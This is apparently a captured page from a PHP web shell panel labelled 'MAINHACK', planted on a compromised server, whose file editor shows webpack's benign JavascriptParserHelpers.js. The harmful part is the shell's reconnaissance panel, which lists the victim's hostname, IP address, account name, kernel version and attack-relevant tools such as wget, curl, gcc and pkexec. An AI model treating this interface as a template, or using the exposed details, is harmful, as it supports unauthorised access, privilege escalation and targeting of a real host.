[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: JavascriptParserHelpers.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const UnsupportedFeatureWarning = require("../UnsupportedFeatureWarning"); const ConstDependency = require("../dependencies/ConstDependency"); const BasicEvaluatedExpression = require("./BasicEvaluatedExpression"); /** @typedef {import("estree").Expression} ExpressionNode */ /** @typedef {import("estree").Node} Node */ /** @typedef {import("./JavascriptParser")} JavascriptParser */ /** * @param {JavascriptParser} parser the parser * @param {string} value the const value * @param {string[]=} runtimeRequirements runtime requirements * @returns {function(ExpressionNode): true} plugin function */ exports.toConstantDependency = (parser, value, runtimeRequirements) => { return function constDependency(expr) { const dep = new ConstDependency(value, expr.range, runtimeRequirements); dep.loc = expr.loc; parser.state.module.addPresentationalDependency(dep); return true; }; }; /** * @param {string} value the string value * @returns {function(ExpressionNode): BasicEvaluatedExpression} plugin function */ exports.evaluateToString = value => { return function stringExpression(expr) { return new BasicEvaluatedExpression().setString(value).setRange(expr.range); }; }; /** * @param {number} value the number value * @returns {function(ExpressionNode): BasicEvaluatedExpression} plugin function */ exports.evaluateToNumber = value => { return function stringExpression(expr) { return new BasicEvaluatedExpression().setNumber(value).setRange(expr.range); }; }; /** * @param {boolean} value the boolean value * @returns {function(ExpressionNode): BasicEvaluatedExpression} plugin function */ exports.evaluateToBoolean = value => { return function booleanExpression(expr) { return new BasicEvaluatedExpression() .setBoolean(value) .setRange(expr.range); }; }; /** * @param {string} identifier identifier * @param {string} rootInfo rootInfo * @param {function(): string[]} getMembers getMembers * @param {boolean|null=} truthy is truthy, null if nullish * @returns {function(ExpressionNode): BasicEvaluatedExpression} callback */ exports.evaluateToIdentifier = (identifier, rootInfo, getMembers, truthy) => { return function identifierExpression(expr) { let evaluatedExpression = new BasicEvaluatedExpression() .setIdentifier(identifier, rootInfo, getMembers) .setSideEffects(false) .setRange(expr.range); switch (truthy) { case true: evaluatedExpression.setTruthy(); break; case null: evaluatedExpression.setNullish(true); break; case false: evaluatedExpression.setFalsy(); break; } return evaluatedExpression; }; }; exports.expressionIsUnsupported = (parser, message) => { return function unsupportedExpression(expr) { const dep = new ConstDependency("(void 0)", expr.range, null); dep.loc = expr.loc; parser.state.module.addPresentationalDependency(dep); if (!parser.state.module) return; parser.state.module.addWarning( new UnsupportedFeatureWarning(message, expr.loc) ); return true; }; }; exports.skipTraversal = () => true; exports.approve = () => true;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002